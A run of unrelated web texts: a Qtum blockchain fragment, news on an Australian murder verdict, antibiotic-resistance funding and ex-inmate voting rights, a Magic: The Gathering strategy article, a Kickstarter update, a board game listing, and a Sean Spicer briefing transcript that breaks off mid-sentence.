coin picking algorithm), and when it has enough inputs for the value to send, it will then construct the outputs of the transaction. In this case, it would be “5 coins to X, remaining coins to sending smart contract (change output)”. This transaction is then added to the current block. It’s important to note that these transactions are not broadcast on the P2P network, they are only added by miners (and it is consensus-critical that they add them if they put the contract transaction in the block) TL;DR; Qtum integrated the EVM onto a UTXO based blockchain, and writing contracts for this should be just as easy as Ethereum, but you get the benefits of the UTXO model. These benefits include mobile/light wallet support by SPV, a more stable model (whereas Ethereum has forked many times to fix problems with this), and compatibility with existing Bitcoin tools and protocols. -Jordan Earls (Earlz) -NSW farmer Ian Turnbull found guilty of shooting murder of environment officer Glen Turner Updated A New South Wales farmer who shot and killed an environment officer involved in land clearing prosecutions against his family has been found guilty of murder. Ian Turnbull drove out in search of Glen Turner, after learning that he was in the Croppa Creek area near Moree in July 2014. During his trial, Turnbull admitted taking his rifle and firing several shots at Mr Turner. The question the jury was told to answer was whether his actions amounted to murder or manslaughter. Members of Mr Turner's family, including his partner Alison McKenzie and sister Fran Pearce, embraced one another in court after the verdict was read out. Turnbull showed little emotion, but appeared to shake his head slightly as the jury left the courtroom. He had told the jury earlier in the trial that calmness came over him after he fired the first of three shots to hit Mr Turner, over a period of at least 20 minutes, at the side of a road. It happened in front of fellow environment officer Robert Strange, who pleaded with the 81-year old to let them go, so he could get help for his seriously wounded colleague. Turnbull refused, telling Mr Strange the only way Mr Turner was leaving was in a body bag. After firing his final and fatal shot, Turnbull said he was going home and the police would know where to find him. Defence argued for manslaughter conviction due to depression Prosecutor Pat Barrett told the jury during his submissions that the attack "was deliberate and considered and bares upon his state of mind at the time". The defence argued Turnbull should only convicted of manslaughter, because he was substantially impaired by a major depressive illness. Turnbull's barrister Todd Alexis SC said the ongoing litigation involving the Office of Environment and Heritage over land clearing, had created a "sea of paper". He said his client thought he was being persecuted and had become obsessive about Mr Turner, even though he had barely seen him during the two years before the shooting. "It was almost a fantasy in his mind," Mr Alexis said. "He became fixated with it." The jury started deliberating just after 2:00pm on Thursday afternoon, after a four-week trial. Mr Strange was also in court to hear the guilty verdict over the murder of his colleague. 'The murderer was portrayed as the victim' Mr Turner's widow Alison McKenzie said the verdict brought "sheer relief". "We're never going to be able to fill the void that's been left in our lives but we got the right result," she said outside the court. She said her partner's character had been "decimated" by Turnbull's defence team. "This whole trial has turned into a platform for the Turnbull's hatred of the native vegetation laws," she said. Mr Turner was remembered by his sister as "a man who was full of vitality and he had a passion for life". "The murderer was portrayed as the victim — a poor depressed respectable farmer, driven to despair by the Office of Environment and Heritage," Fran Pearce said. "In reality, he is a wealthy property developer who simply refused to accept the law applied to him. "Today's verdict does not bring Glen back, but we do take some comfort knowing that justice has been done." Topics: murder-and-manslaughter, courts-and-trials, croppa-creek-2411, moree-2400 First posted -Looking for news you can trust? Subscribe to our free newsletters. The overuse of certain antibiotics has dulled their ability to fight infections, leading to such maladies as untreatable “super gonorrhea.” When world leaders gathered in Germany for the first-ever G20 Health Ministers meeting in May, they called for a “coordinated global response” to antibiotic resistance, currently “one of the biggest threats to global health.” But in stark contrast to the G20 leaders’ efforts, President Donald Trump and Republican lawmakers in the United States are instead proposing to make deep cuts to, and in some cases eliminate, the federal programs focused on battling this resistance. We could soon be in a world in which “modern medical advances such as surgery, transplants, and chemotherapy may no longer be viable due to the threat of infection.” At least 2 million Americans fight infections that are resistant to antibiotics every year, and 23,000 die from them, according to the Centers for Disease Control and Prevention. “As more strains of bacteria become resistant to an ever-larger number of antibiotics, our drug choices have become increasingly limited,” noted the White House’s “National Strategy for Combating Antibiotic-Resistant Bacteria” in 2014, adding ominously that we could soon be in a world in which “modern medical advances such as surgery, transplants, and chemotherapy may no longer be viable due to the threat of infection.” To address these concerns, in 2016 Congress funded the CDC to the tune of $160 million to create the Antibiotic Resistance Solutions Initiative (ARSI) to try to improve detection and containment of resistant infections across the country. But that funding, and therefore the entire initiative, could soon vanish. Trump’s 2018 budget seeks to cut the ARSI budget by roughly $23 million, and it would shift the source of funding from the general CDC fund to its Prevention and Public Health Fund. Yes, that’s the very same fund that the Republican-controlled Senate is hoping to eliminate completely with its latest health care bill. In short, the combination of Trump’s budget and the Senate’s bill would effectively suffocate ARSI. “That would be not only a tremendous risk to patients and public health, but also a waste of the money that was spent over the past two years on this effort,” said Amanda Jezek, the vice president of public policy and government at the Infectious Diseases Society of America, a group that represents doctors, scientists, and other health care professionals. In late June, IDSA sent a letter to Congress signed by more than 60 organizations—including the American Academy of Pediatrics and the Pew Charitable Trusts—expressing concern about Trump’s proposed budget cuts. As the letter points out, Trump’s 2018 budget proposal would also eliminate more than $1 billion from the National Institutes of Health and cut $50 million from the Food and Drug Administration’s Center for Veterinary Medicine, which has been working on curbing the overuse of antibiotics in animal agriculture. (My colleague Tom Philpott wrote about how livestock practices give way to drug-resistant superbugs in this Mother Jones feature.) The most important factor leading to antibiotic resistance is simply the use of antibiotics—employing them over long periods of time allows the organisms they are designed to kill to adapt to them. And unfortunately, in the United States these drugs are prescribed incorrectly or unnecessarily up to 50 percent of the time. The national strategy to fight drug-resistant bacteria set forth under Barack Obama’s White House included the goal of halving this inappropriate antibiotic use by 2020 through a few different mechanisms, including the National Healthcare Safety Network, which tracks resistance patterns and infections at 17,000 of the country’s health care facilities. “How are we going to know those efforts are working if we’re not tracking antibiotic use?” Jezek says. At the conclusion of the G20 summit last weekend, Germany’s Chancellor Angela Merkel said the summit’s leaders had committed to building “a common front in the fight against antimicrobial resistance,” giving Jezek hope that at least “there seems to be recognition that this is a very serious issue.” Come Thursday, when the House subcommittee on Labor-HHS appropriations is set to mark up the 2018 funding bill, Americans will come closer to knowing whether its new government agrees. -There are two reasons I am picking "All the Little Things..." (besides the fact that it is a very good article). One of them is that the generation of small, incremental, and largely "fair" advantages is my favorite aspect of playing Magic. I love deceiving my opponent and walking him into unexpected traps, or building my deck in anticipation of commonly played answer spells; I hate slow, reactive, "sit-there" cards but I love "proactive defense" or "aggressive reaction" like playing Faith's Fetters instead of Circle of Protection: Red or choosing Shock over Volcanic Hammer because I suspect opponents might run a Spell Snare. I'm not sure if this makes me a Jonny or a Spike but I love to win by being clever and wily and one step ahead, and I think that this article can help people to think a bit farther down the road then they normally do when preparing for Constructed, to their benefit. The other reason I picked this article is because they rebooted the forums and it lost most of its original posts (which if memory serves were generally positive), so I wanted to give "All the Little Things..." another chance at community life. Following is basically the scariest deck in the history of Magic: The Gathering: How Did Trix Work? Once upon a time, Trix was the next step in Necropotence combination deck technology. We looked last week at Tony Dobson's Skull Catapult, sometimes called "Cocoa Pebbles" in a time when all combination decks were named after breakfast cereals (hence the name Trix for this deck). Tony and the British used Necropotence in that deck to set up their Enduring Renewal combination. Trix did the same thing, except instead of a three-card combination (Enduring Renewal, Goblin Bombardment, and either Shield Sphere or Phyrexian Walker), Trix required just a two-card combination: Illusions of Grandeur plus Donate. With or without Necropotence, the Trix player would play Illusions of Grandeur and gain 20 life. Then he would Donate the aforementioned Illusions to the opponent, who would at some point (hopefully soon) fail to pay the Cumulative Upkeep and lose 20 life. Conveniently, players start with exactly 20 life. Now all the same things about having a ton of Necropotences (Demonic Consultation, Vampiric Tutor, sometimes Brainstorm, Necropotence itself) applied to this deck as well, but because it was only a two, rather than three, card combination, Trix had extra room for cards like Force of Will. This deck eventually forced out Cocoa Pebbles like Cro-Magnon kicking the last Neanderthal down into a valley of outmoded stegosaurus and dodo bones. Trix was just a tighter combination deck that could actually protect its Necropotence and moving parts with counterspells even after tearing the opponent's hand to shreds a turn or two earlier. Trix was the scariest deck in the history of Magic: The Gathering for several reasons. First of all, it had the best cards, tuned together the best way, and therefore held trump from the outset. Clunky Illusions of Grandeur combination aside, this was a deck packing Brainstorm, Demonic Consultation, Duress, Dark Ritual, Force of Will, Mana Vault, Necropotence, and Vampiric Tutor. No deck played in serious formats before or since has touched Trix's mana efficiency and raw card power from top to bottom. Second, it was a lightning fast deck, capable of winning in the early turns by luck, superb manipulation, or the overwhelming vigor of the Skull. Third, and possibly most importantly, it was a difficult deck for a beatdown player to defeat for the simple fact that it gained 20 life in the middle of the combination. For their part, control decks had real problems dealing with Necropotence (protected turn 1 by Force of Will or turn 2 by Duress) feeding purely threats… not to mention all the mid-game disruption. There were many, many successful, Trix decks. It felt in the spring of 2000 like that hated deck was even more popular than Vial Affinity in the summer of 2004 (it probably wasn't). I chose Scott's deck because unlike many that played Peat Bog or splashed Red for Firestorm, McCord's “Basic Trix” had a fairly high count of, surprise surprise, basic lands. This was important because one of the only ways Trix could be defeated at all was to disrupt its mana, either keeping it off the critical mass required to hit the combo or desperately costing it the cumulative upkeep over a two-turn Donate sequence. To give you an idea of its eventual significance, Trix was instrumental in getting any number of cards banned in Extended, even before the most recent rotations. Mana Vault, Dark Ritual, Demonic Consultation, and eventually Necropotence itself were all shown the door because the deck was so good that almost nothing could compete with it. Trix made for an un-fun Constructed season. I am beginning with Trix because, regardless of how unstoppably scary it was, people would still shake their heads and point at the possibilities where the deck could betray its evil master. They desperately, and in most cases laughably, tried to build against perceived inefficiencies. For the most part, they failed. What if the opponent has an Erase when Illusions of Grandeur is on the stack? What if there is an Elvish Lyrist or Seal of Cleansing already in play? You will take 20 points before your 20 free points resolve! Hoodwink? Really? What if the opponent has but a simple Spike Feeder? You'll have to go through it all over again... Then again you should have 20 extra life points to fuel your Necropotence, but that's not the point. The most legitimate criticism of the deck was simply that Trix could lose to a bad Consult. Demonic Consultation was conditionally dangerous, and I have seen some of the best players in the world deck themselves on turn 3 and pull their hair out afterward. But you know what? Not one of these was a good enough reason not to play the scariest deck in the history of Magic: The Gathering. Sure, you might lose one game per tournament to a bad Demonic Consultation (and I'm just counting the ill luck where two of your remaining three Donates are in the top six, and the third is the second-to-last card in your deck rather than the desperately greedy games where you go for the singleton Hoodwink after you have already passed the Illusions of Grandeur to the opponent in order to deny him a turn or need the Contagion to eat a Lyrist)... But the card - essentially an instant speed Demonic Tutor for one mana - will win you many more games than you give up to bad beats. The reason I am starting this week with this powerful and much hated deck is that after last week's article, which concluded with Terry Soh's 12-2 deck from Pro Tour--Charleston, I was met with a slew of emails... How could the onetime Magic Invitational Champion be so incompetent as to play Dark Confidant and Hit // Run in the same deck? Many Rakdos mages in Charleston made the same choice, and they for the most part said that the combination just didn't come up. Were they aware of the danger? Of course they were! Patrick Sullivan once flipped his Hit // Run and was forced to Hit his own Maher in order to preserve any chance to win the game... which he did. Even given the danger of the interaction, the ability to take out Simic Sky Swallower and punish his master for a couple of extra points (like, say, half his remaining life total) was too much to pass up for a risk that was never going to punish Terry or the others anyway. Imagine the worst has happened and you flipped Hit // Run with Dark Confidant. You go down eight life... But what happens when you tag that Simic Sky Swallower or Skeletal Vampire (presumably with Bats on the stack)? You are probably pretty happy with the seven or six you are dealing right back, while taking out some amazing threat. You're really only one or two points down in the relative race, and because your Rakdos deck is so aggressive, chances are you aren't behind at all. Then of course there is the huge percentage of games against methodical control or mana destruction decks where losing eight life has a negligible effect on game state, if any at all, and just ends up the difference between winning on 12 versus 20 life. No one is saying you leave in Hit // Run against Ghazi-Glare... But it proved a fine spell in the main, and let's remember Terry had probably the best overall Swiss record of the largest Pro Tour in history! In fact, it is all the little things, like bravely playing two seemingly disparate spells next to one another to form a more powerful deck that can sometimes give you the edge you need to succeed in tournament trials. Anyone can win a blowout, and most people know how to take advantage of a manascrew, but it is the little things that often draw the line between early exit and tournament victory. This article is dedicated to discussing some of those small elements and explaining why they make sense in the current Standard format. Henke's Howling Mine Howling Mine is one of those cards that seems to creep up every couple of years to kick butt at some National Championships or sneak a couple of roguish Izzet decks into the Top 8 of a Standard Pro Tour. It is a "symmetrical" card, and worse yet, gives your opponent the first chance to draw the extra card (back in the days of Turbo Stasis, the worst was when you played Howling Mine, the opponent drew two, and then Disenchanted your key engine piece - up a card - before you ever had a chance yourself). How can it be good? Isn't Henke's deck just a bad look at Boros? And what about Owling Mine from Honolulu? Is it any wonder that Antoine and Tiago got face planted as badly as they did by the tournament finalists? Certainly the recent Howling Mine decks would rather get, um, any other pairing than a burn or Boros or Zoo deck, but it is very interesting to look at the card outside the context of those decks. For instance many Standard Blue decks spend all kinds of mana on their own turns for Jushi Apprentice, Compulsive Research, Tidings, and even Invoke the Firemind. The majority of Standard Black decks have this awful 2/1, sort of like a personal Howling Mine, but one that makes you pay eight life to flip over your anti-Howling Mine card (see above). The point is other decks put tons of effort and main phase mana into their draw engines... Howling Mine equalizes the board. Frankly a B/W deck can't kill Howling Mine, at least in the main - they're pretty much stuck with it. All of a sudden you are keeping pace with Maher and Compulsive Research and they have so many cards they are discarding. They are discarding. If they're discarding, that means that they're not really getting any card advantage at all, that any extra cards they are drawing might be classified as better selection, still good, but no longer legitimately getting ahead of the game despite an investment in draw engines. Meanwhile Henke's deck is so mana efficient with its many one-mana threats that it is not discarding, and is in fact aiming Lava Spikes and Lightning Helixes annoyingly at the opponent's face every turn until he is dead. The trick, here, is that no Blue deck can realistically run with Henke and his Howling Mine. Today's counters, with the exception of Spell Snare, all cost as much or more mana than whatever Tobias would be playing or pointing. Furthermore, even the really heavy counter decks have maybe 16 appropriate answer cards, many of which are not permanent solutions to absurdly inexpensive problems. On the other hand, Henke is drawing two or more per turn, threatening all the way. The Blue deck, knowing it cannot keep pace defensively indefinitely has to at some point try to race. What is he supposed to do? Tap out for a Dragon? Recent versions of B/W Orzhov might have their Shining Shoals, but Henke's deck isn't a Sudden Impact build... It attacks with many small packets of burn, and is therefore less vulnerable to having an "all-in" reversed. They are spending all these cards and all this mana on card advantage from Dark Confidant and Ghost Council of Orzhova, but Henke's deck can just hang back, hold the ground with Scorched Rusalka (take one, friend), and send seven or eight damage for the same mana that the B/W player is spending on his Ghost Council. Definitely Howling Mine is a streaky card. It isn't always good, and in some metagames it looks flat-out funny. But in a diverse format with sometimes awkward mana and many dedicated sources of incremental card drawing, it can fit in especially to surprising success. Everything's a Strip Mine Even before we got the amazingBlock lands, the twenty dollar Steam Vents and all-star common Orzhov Basilica s, mana and non-basic lands in general were already a hot button issue. How many basics? How many Centers to this particular Sea? There was a short window when the Standard 'Tron decks - especially those with Breeding Pool for Simic Sky Swallower - were playing no basic lands at all! Why would they? By the time we hit the Top 8 of U.S. Nationals, Tim Aten and Ben Lundquist made a little change and were running two or three basic Islands each. Why would they? Right now you almost have to play some basics because of a previously overlooked Dissension card called Ghost Quarter. If you don't have any basics, Ghost Quarter is just Strip Mine. Even when you have basics, Ghost Quarter is an important anti-bomb card. It breaks up the 'Tron, kills Boseiju (often the only way certain decks can beat certain other decks), and defends its own master from Annex; the subtle "Ghost Quarter myself" strategy has actually bent mana bases by one or two basics, such that a deck that might actually only want Islands would play a single Plains with the outlook of running the Quarter like the worst Thawing Glaciers ever (still good). Another subtle and highly effective angle on the land department can be seen in the classic Vore listing. Let's look back at Nik Nygaard's deck from Honolulu that was the catalyst for most of the rampaging Magnivores we see today: Oboro, Palace in the Clouds. Check. Minamo, School at Water's Edge. Check. Shinka, the Bloodsoaked Keep... Not so much. Vore is a mana control deck that wants to keep the opponent at four or five lands so that when Wildfire hits, his mana base will be - hopefully irrevocably - crippled. Oboro and Minamo are generally played by control decks, decks that can fight Vore's land destruction and rob the deck of the tempo it needs to get the advantage required to win on Wildfire or Magnivore. Against these decks, Oboro and Minamo are just Strip Mine. However the decks that play Shinka are the decks that are most likely to kick Vore's butt. Vore can't get in an early game shootout with a beatdown deck. Rather than giving Vore a conditional Strip Mine as the blue Legendary Lands do, Shinka just puts Vore in the spot that it will be manascrewed at the wrong time. The little twist here is to not play an ostensible automatic inclusion because the land destruction deck sometimes doesn't want to trade lands. Tiered Mana Costs Tsuyoshi Fujita's burn base for Zoo Pants at Pro Tour--Honolulu was four Shock, four Volcanic Hammer, four Lightning Helix, four Char, and four Flames of the Blood Hand… one third of the influential 20/20/20 lineup that has been the baseline for any number of Boros and Zoo decks since. The introduction of Seal of Fire in Dissension might have had you thinking that Shock would get the boot (hey, that's how it works in Extended), or failing that, Flames of the Blood Hand (the least efficient of the group, and great only in a Hierarch format, which the post-Dissension Standard was never and is today not). However, in a maddening twist of tuning, it has been increasingly common to see Volcanic Hammer leave, Shock stay, and the lowly Giant Growth get played in recent lists. Giant Growth? Why? Zoo designers have identified a great big weak point in their strategy: Dissension's Spell Snare. While it is basically impossible to make a Standard deck that doesn't give the Snare, arguably the best card in the format, something to kill, they have rallied to the cause and tried as much as possible – that is, without losing their awesome Watchwolves or Lightning Helixes – to play around this card. Perhaps the most rewarding Zoo returns come in the mirror, when the opponent waits until the attack to try to burn an oncoming creature... only to eat an extra three from that lowly Giant Growth. An interesting similar change may be on the horizon for Blue mages themselves. Just as Blue's opponents have had to modify their mana costs to play around Spell Snare, it is entirely possible that Blue players will be chopping up their mana costs to better work with Coldsnap's degenerate Counterbalance. With Sensei's Divining Top still in Standard until Time Spiral, it will likely profit the Blue mages to float a two mana spell (of which they should still have plenty) the whole game, especially against opposing Blue players with their Rune Snags, Mana Leaks, and Remands... But running some Rewinds might suddenly be right [again?]... Thanks to Counterbalance (specifically Counterbalance / Top), Blue should be able to tap six or seven for the endgame bomb without fear of Wrath of God. Really, is there anything more disheartening to the opponent who has just attempted to play Wrath of God with a hand sculpted to fight a counter war with a two or three mana advantage, than just showing him a Rewind on top of your deck... And then maybe drawing it? ... Or maybe not? Can That be Right Rite? My friend Patrick Sullivan sometimes likes to do the unthinkable: In a surprising number of matchups, Pat sides out Lightning Helix in his Boros deck. "I suggest you start IM'ing your friends... I know I am." -Patrick Sullivan, after a Magic Online win on a mulligan to three This was really puzzling to me when he brought it up. Barring the awesome combination of Paladin en-Vec plus Umezawa's Jitte, Lightning Helix is like the best card in the deck! It burns! It keeps you alive! It makes for great television! As usual, Pat, the quintessential Red Deck player in the United States, had a really good reason: If you cut Lightning Helix, you have all even damage. Why exactly is it that you would want to have all even damage again? Well a few months ago, our style of Boros was siding in a little known but explosive, and surprising, and oftentimes humiliating spell against control, combination, and life gain decks: Hidetsugu's Second Rite. For Hidetsugu's Second Rite to work, and by "work" we mean "completely annihilate the opponent," he has to be on exactly ten life. When you have some even and some odd damage sources, it can be very difficult to put the opponent to exactly ten. Pat's "unthinkable" strategy just made it less difficult for him to sculpt the game state where he could successfully fire for ten. Why is Hidetsugu's Second Rite Good? Think of Hidetsugu's Second Rite as a Red Fact or Fiction . Scratch that. Think of it ascopies of Fact or Fiction Fact or Fiction, one of the most fearsome cards in the modern Blue arsenal, gets played because it is essentially three cards - with selection - for four mana. The piles are going to go 0-5 (only when he has some kind of Storm Seeker, let's be honest), 1-4 (the big Impulse), or 2-3 (the customary split)... You can always get three cards if you just want three cards. After spending a card (the Fact or Fiction), you end up +2. The Philosophy of Fire states that all Red burn spells are worth a baseline of two damage; with ten spells, you win the game. Hidetsugu's Second Rite, then, essentially acts as five Shocks, or +4 cards by Red's queer way of counting these things. Now of course a successfully struck Second Rite is just game most of the time, but even when the opponent has something, like a Shining Shoal for three or four of the damage, you are still getting twice the net card advantage (by Red's way of reckoning these things) as Fact or Fiction would have given you had you been a Blue mage. Now Hidetsugu's Second Rite loses a great deal of its potency when people know it's coming... They do annoying things like mana burn at the end of your turn or otherwise play around the boogeyman of your endgame strategy. Then again, recent Boros players have stopped playing Hidetsugu's Second Rite; in the future, they may, as Tsuyoshi Fujita has suggested, play just one copy. Anyway, Red players like it when people randomly damage themselves. That's like free cards, too. Fun with Cantrips When it started appearing in tournament decks, a disturbing number of forum posters didn't know why anyone would play it ("it's not a hard counter")... From there, Remand catapulted to "best spell in the format" status by the Japanese (if not best overall card) by Pro Tour--Honolulu. Remand is versatile, powerful, and best of all, cheap. It's obvious this card will be contributing to Blue's success - and ruining the turns of inefficient threat players - for the duration of Ravnica Block in Standard, and probably force through Psychatogs in Extended and even bigger formats for, um, forever. Why Exactly is Remand Good? First and foremost, Remand is cheap. Even if it is not a permanent counterspell, Remand answers a threat in the short term immediately and for just two mana. In this way, it is reliably, like Spell Snare, one of the only counters in Standard that is consistently less expensive than the card it is fighting. The cheap cost of Remand is a selling point in that Blue players can keep land light hands in the early game, buy a turn with Remand, and draw into additional lands. Because Blue players just need time to win (that is, they aren't being killed by a Scab-Clan Mauler), running this card as even a temporary measure gives them a tremendous advantage. Just countering a second turn Watchwolf against Zoo is often like drawing between four and seven cards for a Blue player because an unopposed Watchwolf might outright kill him... The additional time the Blue player buys with that little Remand literally gives him additional topdecks that he would not otherwise have. The permanence of Remand is something that is sometimes annoying and sometimes irrelevant. Many of the Standard decks that pack Remand, such as 'Tron, Heartbeat, and Vore, will just kill you the next turn, so the fact that you would otherwise get a chance to re-play your spell after a late game Remand is completely irrelevant. Remand is perfect because in the early game it gives control players the time and mana they need to get to the endgame, and on the second-to-last turn, it actually steal's the opponent's shot at an answer. Remand is also awesome in counter wars. Because it only costs two mana, Remand will often help a threat resolve, or win, or strategically lose, a counter war against an opposing dedicated Blue deck. While the opponent is setting up his turn with a Rewind - free in a second, but costed like that diamond in Titanic in the short term - Remand can shine... like, um, that diamond in Titanic. What many players don't realize is that in some counter wars, it is optimal to Remand your own spell! When you have a spell on the stack and the opponent decides he wants to pick a fight, if it looks like you can't win the counter war, it is often a better idea to Remand your own threat. Sometimes he has Hinder on the stack and three open... If you Remand him, he is just going to re-cast the Hinder. If you Remand your own spell, you at least have a chance of fighting another day. The economy here is awesome. The opponent is down his Hinder (and whatever other counters he has committed to this little war... who knows at what point you decided that Remand was the right course of action) and you get back your initial threat card (or some counter you would rather have back) and if not the Remand, whatever the Remand and your deck decide they want to give you. With Coldsnap, Remand is a cool combination with Mishra's Bauble, too. With two mana, you play Mishra's Bauble and Remand it. You spend nothing (Mishra's Bauble and the Remand replacement come back to your hand), and you can still re-play the Bauble. Why would you want to do this? It's not quite the classic Urza's Bauble or Lodestone Bauble and your own Arcane Denial, but there are certainly weaker plays to make than digging though your deck cheaply. Once you've actually sacrificed the Bauble, this play feels very much like a two mana Inspiration. One of the strong artifact interactions of the Kuroda-style Red deck that Josh Ravitz used to make Top 8 of last year's U.S. National Championship was Sensei's Divining Top plus Shrapnel Blast. Josh would flip the Top, and with the draw on the stack, sacrifice the Top to face the opponent for five. This didn't net card advantage, but it kept him even because even though the Top didn't actually make it to the top of Josh's library, the game still gave him a card. Two mana to deal five damage to a creature or player with no drawback and digging a card deeper in your deck? This is the kind of "little thing" that you have to know to get maximum advantage from your cards. Today, there is a similar tactic, reminiscent of both Mishra's Bauble plus Remand and Sensei's Divining Top plus Shrapnel Blast: Sensei's Divining Top plus Repeal. With this play, you flip your Top to draw a card, but with the draw on the stack, Repeal your own Top. You get your Top in hand, your Repeal replacement, and the card you were supposed to get from the Top. Rather than smashing the opponent for one quarter of his life total, this one just nets cards. Here's to drawing extra cards, dodging inopportune Strip Mines, and, of course, winning after you've accidentally dealt yourself eight. -Hey everyone, We’re down to the final minutes of the Kickstarter campaign-- it’s looking like we’re not going to reach our original funding goal. Because the project is not going to be successfully funded, your pledge will be voided and no money will be exchanged. Thank you all SO MUCH for helping us so far. Without your support, we couldn't have even dreamed of getting this far. We’re more than happy with the amount of traction and support we've gained from the Kickstarter. We truly believe in Tower Unite and we will do everything to see its creation. That's why we're currently looking into alternative options to help make the project a reality. WE'RE GOING TO BE DEVELOPING A NEW CROWD-FUNDING CAMPAIGN Taking what we've learned from our first crowd-funding campaign, we'll be spending the next couple weeks working on the next one. After that campaign we will be looking into Steam Early Access. We are very excited about this project and we hope you will follow us in the future and help make Tower Unite a reality. This project can only happen with your help. You’re probably asking a few questions right now: What's happening to Tower Unite? Tower Unite isn't going away, we will press on and do everything we can to make it happen. We will be adjusting the funding target for Tower Unite on our next campaign. What's happening to GMod Tower? We will still be running GMod Tower until Tower Unite is released. We will be re-enabling VIP donations during the time we're working on the new campaign. We heard your voice and based on your feedback we've decided that we’re going to create a system to help transfer your GMTower progress to Tower Unite. We will detail that in our next campaign. HERE’S HOW YOU CAN HELP US RIGHT NOW Since YOU are the most important part of our campaign, we want to hear what you’re thinking right now. We've set up a survey so we can collect your thoughts and use it as a reference for future decisions. Please take a moment to fill out our survey at this link: http://goo.gl/forms/J3bdXYAywI Even the tiniest of comments can help us get an idea. If you have any more questions, feel free to message us on Kickstarter or tweet @pixeltailgames. Additionally, we’ve set up a mailing list that will send out occasional emails about the future of the project; it’s a great way to keep caught up with the future of our projects. You can subscribe to the mailing list here: http://www.pixeltailgames.com/newsletter WHEN WILL THIS ALL HAPPEN? We can't give exact dates yet, but we will make an announcement soon. Be sure to follow our Twitter, sign up to our mailing list, join our forums, and like us on Facebook. Here’s some other ways you can keep in touch with us: -In 1989, the L.A. County Sheriff's Department released a cheesy music video encouraging kids not to do drugs or join gangs—or else. The video was shot on Universal Studios backlot, and was produced for the Substance Abuse and Narcotics Education program. The uploaded video begins with a disclaimer that policies on how the department now teaches drug prevention may have changed since 1989. It's pretty funny in 2015—and to be honest it was probably funny then, too. You know how it is. You and your friend are sitting on a bench in your quaint town, when all of a sudden your friend whips out a mirror and starts cutting up fat lines of blow on it. In broad daylight. For no apparent reason. You're about to snort up a big rail when you're saved by four Fifties doo-wop teens in poodle skirts who remind you, via song and dance, to not do drugs. (Meanwhile, some other teens are tumbling in your front lawn.) So you just blow the cocaine in your pal's face! That'll teach him to ever share anything with you again! They also warn about the dangers of joining gangs with a cautionary tale about a poor sap who was just trying to enjoy an ice cream cone when he fell victim to a drive-by shooting. Other scenarios include rampaging hordes of teenagers who are blatantly chugging domestic beers out of a convertible, and drug dealers who hang out in dingy alleys that you are know are bad news because someone painted a skull on the wall. The best line in the song goes, "Just say no [to drugs], and maybe you'll be happy if you do!" Maybe. Nothing in life is guaranteed. Maybe you'd be happier if you did, but we're not saying that. We're just saying there are a lot of possible trajectories your life could take. It's not quite as dramatic as their active shooter video, but it's a nice ditty for a mid-afternoon break. -Attorney General Eric Holder asked state leaders on Tuesday to enact “clear and consistent” reforms that would allow former prison inmates to vote. “There is no rational reason to take away someone’s voting rights because they committed a crime,” Holder said at a conference at Georgetown University. When laws prevent people from voting, Holder said, the country falls “short of the bedrock promise of equal opportunity and equal justice.” The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now Holder said it was time to nix laws that disenfranchise those who are no longer under state or federal supervision. He called restoring the right to vote a fundamental part of the prisoner reentry process and said denying voting rights makes it more likely former inmates will commit future crimes. “These restrictions are not only unnecessary and unjust, they are also counterproductive,” Holder said. “By perpetuating the stigma and isolation imposed on formerly incarcerated individuals, these laws increase the likelihood they will commit future crimes.” Holder said such laws prevent about 5.8 million people from voting, including 2.2 million African-Americans. One in 13 blacks are banned from voting because of the laws, a ratio that increases to one in five in states like Florida, Virginia and Kentucky. Currently, 11 states deny former prisoners the right to vote, though 23 have enacted laws since 1997 that restore voting rights. Contact us at editors@time.com. -Please Note: This item will take 2-3 weeks to ship The Mage Knight Board Game throws you and up to three other Mage Knights into the sprawling and ever changing world of the Atlantean Empire, a land that is but a distant memory since your transformation into a mysterious Mage Knight. Build your armies, defeat bands of marauding enemies, and eventually conquer cities in the name of the mysterious Void Council. Designed by renowned designer Vlaada Chvatil, Mage Knight is a game of Epic Exploration and Conquest that mixes character development, intrigue, and the clashing of swords to create a truly unique gaming experience. As a Mage Knight you must control your reputation and walk the line or embrace the role of benevolent leader or brutal dictator. Accumulate Fame and experience to acquire powerful Spells and abilities, then use your power to influence units to join your ranks. Will you destroy an ancient Draconum and gain favor with the people, or burn down a monastery to steal the powerful artifact hidden there? Both paths may lead to victory, but the decision is yours to make. The Mage Knight Board Game comes with a variety of campaign options, allowing you to play both competitively or cooperatively. Will your path intertwine with your fellow Mage Knights as you quest to conquer the Atlantean cities, or will you be sleeping with one eye open? -White House press secretary Sean Spicer insisted President Trump's proposed border wall will be built, insisting it hasn't been delayed, during his daily briefing on April 25. (Peter Stevenson/The Washington Post) White House press secretary Sean Spicer answered questions during Tuesday’s media briefing about President Trump’s sudden willingness to delay funding for his proposed wall along the U.S. border with Mexico. Except Spicer refused to acknowledge the delay is really a delay. No matter how hard reporters pushed, Spicer insisted that nothing had changed. We have annotated Spicer’s exchange with journalists, using Genius. To see an annotation, click on the yellow, highlighted text. [Trump softens border wall demands in bid to calm shutdown jitters] Q: I do want to ask you really quickly about the wall. Yesterday, President Trump reportedly said he is going to delay pushing the wall through. SPICER: He did not. Q: And so can you just clarify what the status of that is? Is it happening? When? SPICER: Yeah, yeah. Thank you. The president made it very clear — I think he tweeted about this earlier — his priorities have not changed. There will be a wall built. It’s important to prevent human trafficking, gangs like MS-13 from coming into the country, the flow of illegal drugs, illegal immigration. There is a national and economic safety issue by having a wall that ensures our country’s safety, and there’s plenty of planning that can be done in FY17. We are going to continue — our priorities are clear, going into FY17, the remainder of budgeting for that, and we’ll continue to ask for more in FY18. Q: So, it’s delayed for now until it’s — SPICER: No, I didn’t — no, no, no, no. I never — no one said delayed. No, no. There’s a sea of — no, no, there’s two budget processes: Right now, we’re going to end FY17 this week. We’re hoping to continue to get funding in that, as the president laid out, for both border security and Homeland Security and national defense, as we’ve always maintained. And then when we come to FY15 — excuse me, FY18 that starts at the end of Sept — or beginning of October, end of September, in that next budget we’ll go for the next group of money. But — Q: So you expect partial funding? SPICER: I, I think we’re going to make — we’ve made our priorities very clear, as we continue to negotiate, and I think nothing has changed on the president’s priorities. … Q: On the wall, just want to be clear: Is the president no longer insisting that there is money for the wall in this current appropriations bill? SPICER: The president’s priorities are clear for FY17. There’s a lot of things we can do in FY — in the remaining months, up until the end of September, for planning and making sure that we get everything that we need — funding that we need for that aspect of things, and then as we go into FY18, we’ll continue to ask for more. I don’t think anything has changed. Q: So, the president is not insisting that he has money for the actual construction of the wall? SPICER: Look, we’re going to — I’m not going to get — there are — we’re still in discussions with the House and Senate leadership, but I think the president’s been very clear 